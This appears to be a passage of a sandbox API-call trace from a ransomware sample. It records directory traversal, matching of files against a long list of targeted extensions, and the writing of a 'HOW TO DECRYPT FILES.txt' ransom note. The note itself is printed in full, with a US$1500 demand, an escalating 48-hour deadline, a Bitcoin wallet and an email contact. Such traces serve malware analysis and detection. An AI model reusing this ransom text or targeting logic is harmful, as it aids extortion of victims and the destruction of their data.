(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.261] lstrlenA (lpString="*.htm") returned 5 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.261] lstrlenA (lpString="*.xlsx") returned 6 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.261] lstrlenA (lpString="*.xls") returned 5 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.262] lstrlenA (lpString="*.mp4") returned 5 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.262] lstrlenA (lpString="*.ppt") returned 5 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.262] lstrlenA (lpString="*.pptx") returned 6 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.262] lstrlenA (lpString="*.doc") returned 5 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.262] lstrlenA (lpString="*.dot") returned 5 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.262] lstrlenA (lpString="*.docx") returned 6 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.262] lstrlenA (lpString="*.7z") returned 4 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.262] lstrlenA (lpString="*.tar") returned 5 [0103.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.263] lstrlenA (lpString="*.bz2") returned 5 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.263] lstrlenA (lpString="*.gz") returned 4 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.263] lstrlenA (lpString="*.mkv") returned 5 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.263] lstrlenA (lpString="*.eml") returned 5 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.263] lstrlenA (lpString="*.msg") returned 5 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.263] lstrlenA (lpString="*.edb") returned 5 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.263] lstrlenA (lpString="*.accdb") returned 7 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.263] lstrlenA (lpString="*.odb") returned 5 [0103.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.263] lstrlenA (lpString="*.java") returned 6 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.264] lstrlenA (lpString="*.asm") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.264] lstrlenA (lpString="*.pfx") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.264] lstrlenA (lpString="*.pem") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.264] lstrlenA (lpString="*.p12") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.264] lstrlenA (lpString="*.gpg") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.264] lstrlenA (lpString="*.vsd") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.264] lstrlenA (lpString="*.odg") returned 5 [0103.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.265] lstrlenA (lpString="*.raw") returned 5 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.265] lstrlenA (lpString="*.nef") returned 5 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.265] lstrlenA (lpString="*.svg") returned 5 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.265] lstrlenA (lpString="*.psd") returned 5 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.265] lstrlenA (lpString="*.vmx") returned 5 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.265] lstrlenA (lpString="*.vmdk") returned 6 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.265] lstrlenA (lpString="*.vdi") returned 5 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.265] lstrlenA (lpString="*.lay6") returned 6 [0103.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.265] lstrlenA (lpString="*.mpeg") returned 6 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.266] lstrlenA (lpString="*.djvu") returned 6 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.266] lstrlenA (lpString="*.tiff") returned 6 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.266] lstrlenA (lpString="*.backup") returned 8 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.266] lstrlenA (lpString="*.pdf") returned 5 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.266] lstrlenA (lpString="*.cert") returned 6 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.266] lstrlenA (lpString="*.docm") returned 6 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.266] lstrlenA (lpString="*.xlsm") returned 6 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.266] lstrlenA (lpString="*.dwg") returned 5 [0103.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.266] lstrlenA (lpString="*.nd") returned 4 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.267] lstrlenA (lpString="*.tlg") returned 5 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.267] lstrlenA (lpString="*.lgb") returned 5 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.267] lstrlenA (lpString="*.mov") returned 5 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.267] lstrlenA (lpString="*.xdw") returned 5 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.267] lstrlenA (lpString="*.ods") returned 5 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.267] lstrlenA (lpString="*.wav") returned 5 [0103.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.267] lstrlenA (lpString="*.mp3") returned 5 [0103.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.268] lstrlenA (lpString="*.aiff") returned 6 [0103.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.268] lstrlenA (lpString="*.flac") returned 6 [0103.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.268] lstrlenA (lpString="*.m4a") returned 5 [0103.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.268] lstrlenA (lpString="*.csv") returned 5 [0103.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd6f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1efbd6f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1efbd6f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.268] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.268] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e259b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e259b30, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e259b30, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="f1a7ac664667f2d6bcd6c388b230c22b", cAlternateFileName="F1A7AC~1")) returned 1 [0103.268] lstrcmpA (lpString1=".", lpString2="f1a7ac664667f2d6bcd6c388b230c22b") returned -1 [0103.268] lstrcmpA (lpString1="..", lpString2="f1a7ac664667f2d6bcd6c388b230c22b") returned -1 [0103.268] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.269] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="f1a7ac664667f2d6bcd6c388b230c22b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b" [0103.269] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b") returned 100 [0103.269] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e259b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e259b30, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e259b30, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.271] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e259b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e259b30, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e259b30, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.271] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.271] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2339d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e2339d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e2339d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.271] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.271] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned -1 [0103.271] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned -1 [0103.271] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned -1 [0103.271] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\*.*") returned="*.*" [0103.271] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\" [0103.271] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\") returned="" [0103.271] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\HOW TO DECRYPT FILES.txt" [0103.271] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\f1a7ac664667f2d6bcd6c388b230c22b\\how to decrypt files.txt")) returned 0xffffffff [0103.272] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\f1a7ac664667f2d6bcd6c388b230c22b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.278] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.278] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.280] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.280] CloseHandle (hObject=0x90) returned 1 [0103.280] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll" [0103.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.280] lstrlenA (lpString="*.ems") returned 5 [0103.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.280] lstrlenA (lpString="*.db") returned 4 [0103.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.280] lstrlenA (lpString="*.dbf") returned 5 [0103.281] PathMatchSpecA 